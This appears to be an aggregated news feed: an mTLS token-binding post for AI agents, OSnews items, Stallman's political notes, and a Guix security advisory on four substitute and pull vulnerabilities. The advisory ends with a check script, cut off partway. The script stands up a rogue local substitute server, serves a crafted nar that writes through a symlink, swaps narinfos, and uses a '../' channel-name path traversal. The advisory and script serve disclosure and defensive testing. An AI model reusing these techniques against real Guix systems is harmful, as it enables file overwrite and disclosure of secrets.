Remember that there’s still a risk around anyone who has access to the proxy having access to the encrypted keys? We can remove that risk as well. It’s not uncommon for agentic environments to have an identity issued via something like SPIFFE, at which point they have a client certificate. You can probably guess where I’m going with this. If we require that an agent present a client cert to the broker when requesting a token, we can embed a representation of that client cert into the token we mint. The proxy can then require mTLS for the client connection, and can verify that the presented certificate matches the one represented in the token. If it does then whoever’s using the token has access to the private key associated with the environment it was issued to. If we then ensure that the private keys backing these certificates are either hardware or hypervisor backed, and as such tied to a specific instance, we now have a high degree of confidence that the token can only be used in its intended environment. Even if our identity provider doesn’t support RFC 8705, we can.

This is fairly straightforward where you’re using a platform where your identity provider is also the environment that’s consuming your tokens, and more annoying for third parties. The broker potentially needs some amount of third party vendor knowledge to make that work for everyone. This is even more the case where login isn’t via your identity provider (thanks, github), but none of this is insurmountable - just annoying. And where vendors issue opaque tokens rather than JWTs, this still isn’t a problem; we can just mint a new JWT that includes the opaque token as an encrypted claim, and include the same certificate binding. The opaque token ends up being the thing that’s presented to the third party, but only after we’ve verified the mTLS binding.

In an ideal world none of this would be necessary - someone would spin up a new agentic environment, a user would prove their identity, and a certificate embodying that identity would be issued to the environment with a private key that can’t be exfiltrated. That certificate would be sufficient to obtain new certificates associated with the same private key, and we could still bind that into mTLS identity. This would be much simpler, but browsers don’t support it, so it’s not likely to happen any time soon.

Anyway. Even if we can’t have the best thing, we can do better than we are at the moment, and also it would be lovely if we could standardise on this rather than have everyone build their own thing. The end.

00:49

Android is almost dead [OSnews]

The clock is ticking for Android as a (somewhat) open platform.

If you are running Android 8 or higher, a virus has been installed on your device and is silently awaiting remote activation. Over the past few months, devices around the world have been infected with this novel strain, with as many as 4 billion Android handsets and tablets estimated to have already been contaminated, meaning that around half of all humanity may be at risk from this threat.

Disguising itself as the innocuously-titled “Android Developer Verifier” (ADV) process, this trojan horse runs surreptitiously in the background as a system service with full root privileges, quietly awaiting an activation signal. The service cannot be blocked, disabled, or removed. Unlike a commonplace bit of malware, this extraordinary strain won’t be detected and neutralized by Play Protect (the malware scanning and remediation service that is installed on all Android Certified devices). In fact, Play Protect is itself the vector through which this virus is transmitted and installed.

That is because it is Google themselves who is propagating ADV. And once activated, this malevolent process has exactly one goal: to block you from running software by developers who haven’t been approved centrally by Google.

↫ The F-Droid news website

If nobody steps up, if no regulator takes on Google in this matter, we could very well be looking at the end of F-Droid and similar open source application repositories on Android. I use F-Droid, and in fact, one of the most important and most-used application on my Pixel 10 Pro comes from F-Droid: Fennec. This Firefox fork is not available through any Google-sanctioned means, and I could just wake up one day and have the browser on what is supposed to be my phone stop working.

Age verification, tying crucial services to iOS and Google Android, killing the ability to install your own software on your phone, purposefully making people hopelessly addicted to and dependent on “AI”, and so much more – we’re facing a multi-pronged attack designed to beat us into submission and give up on the idea of Free computing. I have to admit I’ve lost all hope we’ll be able to win this battle, as the combined interests of technology megacorporations and our own governments are just too powerful to fight.

I feel like we’re living in the computing end times.

00:07

Children from all countries exposed to climate hazards [Richard Stallman's Political Notes]

* Unicef analyzed young people's exposure to eight climate hazards: coastal floods, droughts, extreme heat, fires, heatwaves, river floods, sand and dust storms, and tropical storms… Almost every child, including those from high-income countries, is now exposed to at least one hazard.*

Governor Newsom accuses government of trying to smear him [Richard Stallman's Political Notes]

Governor Newsom accuses the US government of investigating him and his wife hoping to find something to smear him with, because he plans to run for president in 2028.

I do not support Newsom, because he is a plutocratist "moderate" democrat , one who does not seek to do anything about the problem of super-rich people who endanger democracy and human rights.

West Bank products mislabeled [Richard Stallman's Political Notes]

Shipments of products made in Israel's colonies in the West Bank are systematically mislabeled as "Made in Israel" to take fraudulent advantage of trade preferences for exports of Israel's products.

Iranian repression police shooting protesters [Richard Stallman's Political Notes]

Iranian repression police made a practice of shooting protesters in the face, chest or genitals. Often this caused grave injuries, or death.

Chikungunya can easily spread in most of Europe [Richard Stallman's Political Notes]

Due to our greenhouse gas emissions, chikungunya can now spread in most of Europe.

Many "tropical" diseases are, or will be in a few decades, able to spread in the formerly temperate zones.

Excavators used by Israeli military [Richard Stallman's Political Notes]

* The Guardian geolocated and verified images showing the Israeli military using excavators made by six companies – Caterpillar, Volvo, Hyundai, Doosan, Hitachi and Komatsu – to destroy homes, public utilities, shops and other structures across southern Lebanon.*

Wrecker not convincing public increased fossil fuel use is safe [Richard Stallman's Political Notes]

The wrecker is going all-out to increase the use of fossil fuels, but is not convincing the American public that that is safe.

*Two-thirds of Americans say they are worried about climate but level of media coverage does not reflect this.*

I don't think the wrecker cares about the danger of global climate disaster, only about rewarding the planet roasters to keep them in his corner. They all deserve to end up broke and experience living on however much support the US provides to the poor.

Muskrat's cars-in-tunnels "mass transit" [Richard Stallman's Political Notes]

The muskrat's fabulous cars-in-tunnels "mass transit" seems to be unable to serve many people, but it is an opportunity to disregard environmental planning regulations with impunity and serve real estate owners rather than the public.

Corrupter cutting losses in war with Iran [Richard Stallman's Political Notes]

It seems the corrupter has decided to cut his losses in the gratuitous (and unwinnable) war with Iran. For once he has approached a situation in a way that does his country a little good, though it is far less than the harm he has done in relations with Iran over the past year. Meanwhile, he found no way to fix the problem that he gratuitously created when he cancelled Obama's non-nuclear deal with Iran.

He will salvage something from this idiocy, though -- some way to increase profits for some of his billionaire supporters.

Commercially sold cannabis increases number of users [Richard Stallman's Political Notes]

* Decriminalizing the possession of cannabis or strictly regulating access to the drug do not appear to drive up usage, but when the drug is sold commercially the number of users increases and more mental health problems are seen, a review has found.*

Illinois law to compensate former black residents [Richard Stallman's Political Notes]

Evanston, Illinois, passed a law to compensate former black residents whose ancestors lived in Evanston and experienced the systemic housing discrimination.

I know of three ways n which where the US government and its sub-jurisdictions denied blacks equal rights under the law: slavery, Jim Crow segregation (in some states), and discrimination in housing assistance in part of the 20th century. These were direct policies of discrimination carried out by governments, and those governments are liable for injustice of these racist laws.

Since such harm tends to be inherited by successive generations of descendants of the victims, it is right and proper for the governments that committed those wrongs to pay compensation to today's Americans whose ancestors were wronged.

I can't tell from the article precisely what the conditions are for receiving compensation in Evanston. If they are formulated as being on account of a person's race, that may be discriminatory and unjust. But if they are formulated as being on account of past discrimination against a person's ancestors (done because of their race), that is not discrimination today. The discrimination in question was the racism of the past, and compensation has to compensate the descendants of those selected as victims of racism.

The first article linked to, above, displays symbolic bigotry by capitalizing "black" but not "white". (To avoid endorsing bigotry, capitalize both words or neither one.) I denounce bigotry, and normally I will not link to articles that practice it. But I make exceptions for some articles because I consider them important — and I present this comment about them.

Arbitrary criminalization of stating support for Palestine Action [Richard Stallman's Political Notes]

A British appeals court sustained the arbitrary criminalization of stating support for Palestine Action.

A few more levels of appeal are possible, but Stormer's government is dead set on repression of criticism where it counts.

Expensive electricity killing British industry [Richard Stallman's Political Notes]

"Expensive electricity is killing British industry" — but subsidizing energy made from fossil fuels is killing civilization.

The UK government should look for a way to subsidize the customers for energy, but not subsidize fossil fuel or electricity made from that. We must maintain the incentive to use less fossil fuel. There are other ways to keep industrial production going.

Bullshitter acknowledged points about Israel [Richard Stallman's Political Notes]

The bullshitter has acknowledged important points, such as that Israel wages war in ways that gratuitously kill civilians, and that Netanyahu's wars are unjust and bad for US interests.

Does this mean the bullshitter has had a change of heart? I doubt it; he has gone so long without a heart that he surely doesn't have one now. I think he is simply applying to Israel and Netanyahu the approach he has used with so many others: to contradict himself frequently and change positions so fast that negotiators accustomed to serious negotiations can't grasp what is happening.

I am not sure this will confuse Netanyahu, though. He seems to practice a similar approach.

Iran now demands that Israel withdraw its army from Lebanon or there will be no peace deal.

Maybe the new maximum leader believes he dominates the wrecker so much that he can demand anything whatsoever and get it. Or maybe he is bluffing.

With so much readiness to bluff, it will be hard for them to reach an agreement even if there is an agreement to be reached.

How surveillance companies are allowed to track students and parents [Richard Stallman's Political Notes]

Explaining how surveillance companies recruit schools, classes and teachers to pressure students and their parents into giving their personal data to the companies, and allowing those companies to track the students and parents.

I suspect that refusing to run anything from Google Prey Store or the Crapple Crap Store will keep them from tracking you. But protecting students in school calls for a law prohibiting schools from ever asking students to run nonfree programs or hosting activities that do so.

AT&T accused of lying to FCC [Richard Stallman's Political Notes]

California has accused AT&T of lying to the FCC to get permission to eliminate old copper land lines in California.

Alas, the corrupter encourages the FCC to accept lies from big companies that do things to please him.

How cruel tyranny engulfed Turkey [Richard Stallman's Political Notes]

Turkish journalist Ece Temelkuran writes about how cruel tyranny engulfed Turkey, in the process of which threats of violence forced her into exile. And about what it is like to lose your country to that political disease.

00:00

WinPE as a stateless harness for Windows driver testing and fuzzing [OSnews]

What if you need to do very low-level testing involving the very guts of Windows NT, but don’t need most of the userland that sits on top? In fact, what if that userland only slows you down and complicates the work you’re trying to do?

The solution is Windows PE (Windows Preinstallation Environment). It is an official, stripped-down environment distributed with every Windows ISO image. It runs entirely in RAM, requires as little as 512 MB of memory, and lacks support for DirectX, the PowerShell subsystem, or the standard graphical shell (Explorer). Booting by default with NT AUTHORITY\\SYSTEM privileges makes it an ideal test harness for both of these tasks.

The following analysis focuses on the low-level mechanisms of WinPE, as well as BCD and QEMU modifications that allow transforming this system into an ultra-fast, idempotent testing environment.

↫ Piotr Bednarski

Now, the kind of work Bednarski does isn’t the most common of tasks, but I’ve often wondered just how far you can get by bolting on whatever WinPE will allow you to. There were various unofficial third-party tools that built Windows live CDs based on WinPE, but I think most of those have died out by now. If you look hard enough, you can also find some other utilities people made for WinPE, including even some rudimentary web browsers. Regarding web browsers, modern efforts seem to run into issues.

WinPE is not really meant for any advanced functionality, but I really do wonder how capable you can make it without turning it into regular Windows.

M/PC: a concatenative operating system for Varvara [OSnews]

M/PC is a concatenative operating system for Varvara, inspired by Openfirmware, designed to manage files on system without a file browser. It uses the postfix notation, meaning that the function success their operands.

↫ M/PC website

I’m not going to pretend to really understand what any of this means.

Thursday, 02 July

22:49

‘guix substitute‘ and ‘guix pull‘ Vulnerabilities [Planet GNU]

Several security issues (CVE IDs pending) have been identified in guix substitute, a helper utility invoked by guix-daemon, which enable a variety of harmful activities including remote privilege escalation to the build daemon user, remote store corruption, and potentially local disclosure of sensitive files accessible to the build daemon user. All systems are affected, whether or not guix-daemon is running with root privileges; the harm that can be done when guix-daemon runs without root privileges is more limited. You are strongly advised to upgrade your daemon now (see instructions below), carefully considering whether to pass --no-substitutes to all guix commands when you do so (see note in Upgrading section).

The remote exploitation of guix substitute only requires that the vulnerable system attempt to download a binary substitute. Any configured substitute server, including ones discovered using guix-daemon's --discover option, can exploit this, and so can a man-in-the-middle (MITM), regardless of whether https is used in the substitute server urls.

The local exploitation of guix substitute only requires the ability to connect to guix-daemon's socket, which by default any user can do.

Separately, another security issue (CVE ID pending) was identified in guix pull and guix time-machine, which enables anyone who can control the channels file used by these commands to cause a file to be created or overwritten wherever the user running the command in question has permission to create them. This is possible regardless of whether the channels file is evaluated in a sandbox and whether the channels used are limited to those sharing an introduction with a trusted channel. Due to limitations on the content of the created or overwritten file, this primarily represents a denial-of-service risk, though in theory it could do more.

Vulnerabilities

Three distinct vulnerabilities have been identified affecting guix substitute, with a fourth affecting guix pull and guix time-machine:

  1. (CVE assignment pending) The procedure that Guile code uses to unpack substitutes, restore-file in (guix serialization), was not hardened against malicious input, but it was called to extract the substitute being downloaded as it was being downloaded, rather than waiting until after the entire archive had been obtained and its hash had been verified. These facts together make it possible for any substitute server (or any entity that can impersonate one) to write arbitrary files to any place on an affected system that the daemon user has permission to write to. In the case of the daemon running as root, that includes /etc/passwd.

    To avoid depending on the X.509 Public Key Infrastructure, the procedure that fetches metadata about available substitutes (called narinfos), fetch-narinfos, does not verify server certificates, since the canonical parts of narinfos need to be signed anyway to be considered valid. Unfortunately the substitute URL is not one such canonical part, and so it can be replaced with an attacker-controlled URL. If the substitute downloaded doesn't match the signed hash in the narinfo, it will be rejected, but by then it is too late: the substitute was extracted as it was being downloaded, so the damage is already done.

    This means that even though download-nar, the procedure responsible for actually downloading the substitute, does itself verify server certificates, using https in substitute server urls cannot limit who can exploit this, as the certificate only needs to be appropriate for the attacker-controlled URL.

    restore-file is also used by other utilities, including guix offload, guix archive --extract, and guix challenge. These can all be exploited in the same way if untrusted input is given to them.

  2. (CVE assignment pending) The procedure that fetches metadata about available substitutes (called narinfos), fetch-narinfos in (guix substitutes), does not verify that the narinfo it got is the one it asked for, nor do any of its callers in (guix scripts substitute). Consequently, it is possible for a substitute server (or anyone who can impersonate one) to trick guix substitute into using any store item for which there is an authorized substitute as a substitute for any other store item for which there is an authorized substitute. The complete extent of harm that can be caused by this depends in part on what store items an authorized substitute server has signed or can be convinced to sign, but at minimum this can be used to cause outdated and insecure versions of software to be used.

  3. (CVE assignment pending) The implementation of guix substitute in (guix scripts substitute) permits file:// URIs to be used both for specifying substitute server URIs (where to look for narinfos) and for specifying within narinfos where to download the corresponding archive from. It does not distinguish between --substitute-urls passed on the guix-daemon command line and --substitute-urls passed on the guix command line (client-side), with the latter taking precedence over the former. Opening of these file:// URIs follows symbolic links. Consequently, an untrusted client may cause any file that the daemon can read to be read. If a given line of it doesn't look like a valid narinfo line (it uses recutils format), guix substitute may throw an exception, causing a backtrace containing that line to be passed through to the client. So, for example, a file containing a single line containing only a secret passphrase may have its contents revealed to any local user if the daemon user can read it.

    Additionally, when a file:// URI is used as the URI of a nar to download, it may be written to the store if it happens to be a valid nar ("normalized archive") as used by Guix and Nix. This is unlikely, though.

    In addition to possibly causing secrets to be disclosed, this can also be used to interfere with the reading of any file being read by any process that the daemon user could trace, through the use of files in /proc/PID/fd.

  4. (CVE assignment pending) The procedure which guix pull and guix time-machine use to authenticate channels, authenticate-channel in (guix channels), passed a cache key derived from the channel name to authenticate-repository in (guix git-authenticate). This cache key was used to determine a filename for storing previously-authenticated commit IDs in. If the channel name was of the form "../../../../newfile", it could have caused "newfile" to be created in the user's home directory. It may also have overwritten "newfile" if it already existed, but only if it already looked like a Scheme-syntax list of strings, since the contents would have to have first been read and processed before new contents would have been written.

    In the event that a write is performed, the output will only include a Scheme-syntax comment, newline, and list of hexadecimal strings corresponding to git commit identifiers. This makes it difficult to use for a practical attack other than a denial-of-service, but note that since it can target files in /proc, a sufficiently creative and informed attacker may be able to exploit this further.

    Realistically, this vulnerability can only be exploited when fetching remote channel files with the newly-added mechanism for doing so.

Mitigation

Vulnerabilities (1) and (2) can be mitigated against remote attackers by not using substitutes, either by passing --no-substitutes to guix-daemon or passing --no-substitutes to all guix commands. It's always possible to turn substitutes back on for an individual client, though, so this doesn't work to defend against a local attacker exploiting (1), (2), or (3), which cannot be mitigated and must be fixed by updating. Vulnerability (4) can be mitigated by not running guix pull or guix time-machine with an untrusted channels file.

A test for the presence of these vulnerabilities is available at the end of this post. One can run this code with:

guix repl -- guix-substitute-and-pull-vuln-check.scm

This will finish with a sequence of 4 lines, beginning with restore-file, fetch-narinfos, file-uris, and cache-key respectively, each followed by a colon, a space, and either vulnerable or not vulnerable depending on whether the running guix-daemon has the indicated vulnerability or not. If all 4 lines contain not vulnerable, then guix repl will exit with status code 0, otherwise it will exit with status code 1.

Some of the tests can fail to produce a result in some cases. In this case the output following the test name will start with error:. A test that fails to produce a result should be regarded as inconclusive.

The restore-file and fetch-narinfos tests may fail to produce a result if no substitutes are authorized, or if no authorized substitutes for the current guix's cfunge, hello, or sed packages can be accessed through any of the configured substitute urls. The restore-file test may fail to produce a result if cfunge is reachable from some garbage collection root, such as a profile. The cache-key test may fail to produce a result if network access to codeberg to fetch a small portion of the history of the guix-science channel is not available, which can be worked around by editing the script's definition of guix-science-url to be any URL (or a filename) at which a copy of the guix-science repository can be found.

Fixes

These security issues have been fixed by a series of 11 commits, starting with ed0a9721f8a20d6ddcf6a0495302f502b3f7bb17 and ending with 2ef8ed9f0df53bddf14bdecc2ea48c2d233213cc as part of pull request #9665. Users should make sure they have upgraded to commit 897832f374dcdc9eeaf19d01e70b9a92fccfc68c or any later commit to be protected from these vulnerabilities. Upgrade instructions are in the following section.

Fixing vulnerability (1) involved hardening restore-file so that it detects and rejects invalid directory entry names. Specifically, entry names must be unique, in strictly ascending order, not empty, not equal to "." or "..", and not containing "/" or null bytes. Additionally, procedures currently used as the #:dump-file argument to restore-file were modified to insist on creating the target file afresh and never follow symbolic links.

The inspiration for that last change came from looking at the implementation of nar-parsing in parse in nix/libutil/archive.cc, where it was determined that that implementation was not vulnerable, but was about as close to vulnerable as it could get without actually being vulnerable, only barely being saved by the fact that the filesystem primitives used all refused to follow symbolic links or accept an existing target (see this commit message for details). To avoid wasting another 3 hours trying to determine this the next time anyone tries looking at it with a critical eye, that implementation was also rewritten to be stricter and more obviously secure. It is perhaps not surprising that the same code led to CVE-2024-45593 in Nix when it was modified to use more lax filesystem primitives from std::filesystem.

Fixing vulnerability (2) involved modifying fetch-narinfos to not include a result if it didn't match what was asked for.

Fixing vulnerability (3) involved modifying (guix scripts substitute) to verify that all substitute urls from untrusted sources are not file:// urls, and that all nar urls in narinfos are not file:// urls (except when a special flag is set, which is only done in the test suite).

Some additional hardening was also done, so that substitutes are restored inside a temporary directory and only moved to their final store item path once the hash is verified. This still restores them before verifying the hash, so it wouldn't have prevented (1), but it does ensure that attacker-controlled contents are not present at the path of what may have once been a valid store item (and may still be considered by some users or programs to be valid if they haven't taken note of a recent garbage collection). The narinfo-reading code was also modified to reject as invalid any narinfo file whose StorePath, References, or Deriver field contained a path that did not obey the store item path syntax requirements. A nice side-effect of this is that we now have procedures for verifying the syntax of store item paths.

Fixing vulnerability (4) involved changing how cache-key was computed by default for users of authenticate-repository. Rather than being derived from the name of the channel or (for guix git authenticate) the url of the repository, cache-key is now derived from the ID of the introductory commit, which is a very safe hexadecimal string. This also avoids some strange and potentially-dangerous behavior in which cached authenticated commit IDs could be shared between two channels that happen to share a name but are otherwise completely different. Additional hardening of authenticate-repository was added to turn all occurrences of . in cache-key into - so that even if non-default cache keys were provided, it would not be possible to escape the cache directory.

Upgrading

Due to the severity of this security advisory, we strongly recommend all users to upgrade guix and guix-daemon immediately.

Note: The astute reader may have noticed a dilemma: the fastest way to get updates is through substitutes, and the way to mitigate the most severe of the remotely-exploitable vulnerabilities is to disable substitutes. Whether to pass --no-substitutes is therefore a judgment call that must take into consideration how long it has been since these vulnerabilities were made public, how exposed the network paths between your system and your substitute servers are, how feasible it is for the system in question to build guix by itself (which will depend in part on how long it has been since you last upgraded), whether the system in question has multiple users, and of course, your threat model.

For Guix System, the procedure is to reconfigure the system after a guix pull, either restarting guix-daemon or rebooting. For example:

guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon

where /run/current-system/configuration.scm is the current system configuration but could, of course, be replaced by a system configuration file of a user's choice.

For Guix on another distribution, one needs to guix pull with sudo, as the guix-daemon runs as root, and restart the guix-daemon service, as documented. For example, on a system using systemd to manage services, run:

sudo --login guix pull
sudo systemctl restart guix-daemon.service

Note that for users with their distro's package of Guix (as opposed to having used the install script) you may need to take other steps or upgrade the Guix package as per other packages on your distro. Please consult the relevant documentation from your distro or contact the package maintainer for additional information or questions.

Timeline

  • May 28th, 2026. Jörg Thalheim of Nix shares the restore-file vulnerability with Christopher Baines and Andreas Enge; Christopher sends details to the Security Response Team.
  • June 4th, 2026. Andreas Enge notifies Caleb Ristvedt and Ludovic Courtès who start working on a fix.
  • June 10th, 2026. Caleb Ristvedt finds the file:// vulnerability of guix substitute.
  • June 22nd, 2026. Caleb Ristvedt finds the third vulnerability: that guix substitute did not verify whether the narinfo it is getting is the one it asked for.
  • June 24th, 2026. Following an issue reported by Sergio Pastor-Pérez, Ludovic Courtès identifies the pull and time-machine vulnerability and works on a fix. For the sake of convenience and because hints were available publicly, it was decided that it should be promptly fixed and disclosed at the same time as the other vulnerabilities.

Conclusion

We would like to thank Jörg Thalheim for sharing the restore-file vulnerability, Christopher Baines for verifying it and informing the Security Response Team, and Andreas Enge for ensuring that it reached Ludovic and Caleb and facilitating ongoing communication with Jörg.

We would also like to thank John Kehayias of the Security Response Team for coordination and for requesting CVE IDs.

Test for presence of vulnerability

Below is code to check if your guix-daemon is vulnerable to the first three vulnerabilities and your guix is vulnerable to the fourth. Save this file as guix-substitute-and-pull-vuln-check.scm and run following the instructions above, in "Mitigation."

(use-modules (git)
             (guix build utils)
             (guix derivations)
             (guix channels)
             (guix config)
             (guix gexp)
             (guix git)
             (guix narinfo)
             (guix packages)
             (guix pki)
             (guix utils)
             (guix serialization)
             (guix store)
             (guix substitutes)
             ((gnu packages base) #:hide (which))
             (gnu packages esolangs)
             (srfi srfi-1)
             (srfi srfi-26)
             (srfi srfi-31)
             (srfi srfi-34)
             (rnrs bytevectors)
             (ice-9 atomic)
             (ice-9 binary-ports)
             (ice-9 control)
             (ice-9 match)
             (ice-9 popen)
             (ice-9 rdelim)
             (ice-9 textual-ports)
             (ice-9 threads)
             (web response)
             (web request)
             (web uri)
             (web server)
             (web server http))

;; 1. restore-file

;; Craft an invalid nar, identify a substitutable path that doesn't exist (gc
;; if necessary), get its signed narinfo, start an http server, connect to
;; store, set substitute urls, ask to substitute the chosen path.  Have http
;; server serve the signed narinfo with the URLs replaced with its own.  When
;; the nar is requested, serve the invalid nar.  Once the substitution errors
;; out (hash doesn't match), check whether the chosen file now exists with the
;; specified contents.  We're vulnerable if and only if it does.

(define target-file
  "/tmp/guix-restore-file-vulnerable")

(define target-substitutable-package
  ;; pick something obscure but in the main guix channel, so it is either not
  ;; currently valid or can probably be gc'ed.  This is just to make the test
  ;; more reliable - in real exploitation, an attacker can sit around and wait
  ;; for any substitute request to be made, but here we need to provoke one in
  ;; a timely manner.
  cfunge)

(define substitute-servers
  (with-store store
    (substitute-urls store)))

;; Grafts can cause package->derivation to actually start substituting outputs
;; of the derivation being computed, which means we'd have to gc it afterward.
(%graft? #f)

(define (package->path+narinfo store package)
  (define path
    (derivation->output-path (run-with-store store (lower-object package))))

  (match (lookup-narinfos/diverse substitute-servers (list path)
                                  valid-narinfo?)
    ((info) (values path info))
    (() (values #f #f))))

(define (restore-file-vuln?)
  (define-values (target-path target-info)
    (call-with-values (lambda ()
                        (with-store store
                          
                          (package->path+narinfo store
                                                 target-substitutable-package)))
      (lambda (path info)
        (unless info
          (error "can't find substitutable path to test 'restore-file' with\n"))
        (with-store store
          (when (valid-path? store path)
            (when (null? (delete-paths store (list path)))
              (error "can't delete substitutable path to test 'restore-file' with\n"))))
        (values path info))))

  (define new-target-info-contents
    (let* ((contents (narinfo-contents target-info))
           (signature-index (string-contains contents "Signature:"))
           (after-signature-index (string-index contents #\newline
                                                signature-index))
           (signed-contents (string-take contents (or after-signature-index
                                                      (string-length
                                                       contents)))))
      (string-append signed-contents "
URL: example.nar
Compression: none
NarSize: 0\n")))

  ;; We can't delete target-file if it's owned by root, so overwrite it with
  ;; fresh, mostly-random contents each time, and check that the contents match.
  (define test-contents
    (format #f "VULNERABLE!~%~S:~S~%" (getpid) (random 100000000)))

  (define test-nar
    (call-with-output-bytevector
     (lambda (port)
       (for-each (lambda (s)
                   (write-string s port))
                 `("nix-archive-1"
                   "(" "type" "directory"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "symlink"
                   "target" ,target-file ")" ")"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "regular"
                   "contents" ,test-contents  ")" ")"
                   ")")))))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define target-uri-path
    (string-append "/" (store-path-hash-part target-path) ".narinfo"))

  (define nar-uri-path "/example.nar")

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) target-uri-path)
      (format (current-error-port)
              "Returning narinfo pointing to test nar~%")
      (values (build-response #:code 200)
              new-target-info-contents))
     ((string=? (uri-path (request-uri request)) nar-uri-path)
      (format (current-error-port) "Returning test nar~%")
      (values (build-response #:code 200)
              test-nar))
     (else
      (values bad-request ""))))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (guard (c ((store-error? c)
                     ;; XXX doesn't actually cancel until something tries
                     ;; connecting
                     (cancel-thread server-thread)
                     ;;(join-thread server-thread)
                     (and (file-exists? target-file)
                          (string=? (call-with-input-file target-file
                                      get-string-all)
                                    test-contents))))
            (build-things store (list target-path))
            ;; If the substitution actually completes without throwing then we
            ;; are most definitely vulnerable, but not just in 'restore-path'.
            (error "!!!substitution of invalid nar completed???!!!")))))))



;; 2. fetch-narinfos

;; Identify two substitutable paths P1 and P2.  Get P1 and P2's signed
;; narinfos, start an http server, connect to store, set substitute urls, ask
;; whether P1 and P2 are substitutable.  Have http server serve P2's narinfo
;; when asked for P1's, and P1's when asked for P2's.  If vulnerable, it will
;; report that both are substitutable, if not, it will report that neither
;; are.

;; We need two substitutable paths because the daemon<-->'guix substitute
;; --query' interface verifies that the info it gets back is for a path that
;; was requested, so the "replacement" path has to also be queried for
;; substitutability at the same time.

(define (fetch-narinfos-vuln?)
  (define-values (hello-path hello-info)
    (with-store store (package->path+narinfo store hello)))

  (define-values (sed-path sed-info)
    (with-store store (package->path+narinfo store sed)))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define hello-uri-path
    (string-append "/" (store-path-hash-part hello-path) ".narinfo"))

  (define sed-uri-path
    (string-append "/" (store-path-hash-part sed-path) ".narinfo"))

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) hello-uri-path)
      (format (current-error-port) "Returning sed when asked for hello~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents sed-info)))
     ((string=? (uri-path (request-uri request)) sed-uri-path)
      (format (current-error-port) "Returning hello when asked for sed~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents hello-info)))
     (else
      (values bad-request ""))))

  (unless (and hello-info sed-info)
    (error "can't find substitutable paths to test 'fetch-narinfos' with"))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (let ((substitutables
                 (substitutable-paths store (list hello-path sed-path))))
            ;; XXX doesn't actually cancel until something tries connecting
            (cancel-thread server-thread)
            ;;(join-thread server-thread)
            (not (null? substitutables))))))))

;; 3. file-uris

;; Create a fifo whose name is 32 nix-base32 characters followed by
;; ".narinfo", connect to store, set substitute urls to point to containing
;; directory, spawn a thread to block trying to open fifo write-only which
;; will subsequently set a flag and close the port, then ask whether some
;; store path with that hash is substitutable.  It should fail in all cases.
;; Check whether the flag is set; if so, we're vulnerable, otherwise we're
;; not.

(define (file-uris-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (define testfifo
       (string-append directory "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.narinfo"))
     (define opened? (make-atomic-box #f))
     (define store-item
       (string-append (%store-prefix) "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-foo"))

     (define open-thread
       (begin
         (mknod testfifo 'fifo #o744 0)
         (call-with-new-thread
          (lambda ()
            (call-with-port (open testfifo O_WRONLY)
              (lambda (port)
                (atomic-box-set! opened? #t))))))) 

     (with-store store
       (set-build-options store
                          #:substitute-urls (list (string-append "file://" directory)))
       (guard (c ((store-error? c)
                  (cancel-thread open-thread)
                  (delete-file testfifo)
                  ;; even though the file it is trying to open no longer
                  ;; exists, the kernel doesn't give a result to open-thread
                  ;; until someone ptraces it (or maybe sends a signal or
                  ;; something).
                  ;; (join-thread open-thread)
                  (atomic-box-ref opened?)))
         (substitutable-paths store (list store-item))
         (error "not supposed to get here!\n"))))))

;; 4. cache-key

;; Create a barebones git repository that is a valid channel, create a
;; <channel> that references it using a malformed name, set XDG_CACHE_HOME to
;; a directory inside a temporary directory (so that 'cache-directory' points
;; to a subdirectory of it), call authenticate-channel, see if a file outside
;; of XDG_CACHE_HOME gets created.

;; If you don't have Internet access, edit this to point to a local repository
;; containing at least commit 5a2d9baeda971df575c017669bca8eb8faa22ebd and its
;; ancestors, and the keyring branch.
(define guix-science-url
  "https://codeberg.org/guix-science/guix-science.git")

(define (create-test-channel directory channel-name)
  "Populate REPOSITORY with the necessary contents for it to be a valid
channel with 2 commits, then return three values: a <channel> for it with name
CHANNEL-NAME and an introduction to the first commit, the first commit, and
the second commit."
  (define intro-commit
    "b1fe5aaff3ab48e798a4cce02f0212bc91f423dc")

  (define end-commit ;; The commit following intro-commit
    "5a2d9baeda971df575c017669bca8eb8faa22ebd")

  (define fingerprint
    "CA4F 8CF4 37D7 478F DA05  5FD4 4213 7701 1A37 8446")

  (define git %git) ;; From (guix config), guix has a hard dependency on git

  (with-directory-excursion directory
    (invoke git "init"
            ;; Silence warning
            "--initial-branch=main")
    (invoke git "remote" "add" "--" "origin" guix-science-url)
    (invoke git "fetch" "--" "origin" end-commit)
    (invoke git "checkout" "FETCH_HEAD")
    (invoke git "fetch" "--" "origin" "refs/heads/keyring:keyring")
    (values
     (channel
       (name channel-name)
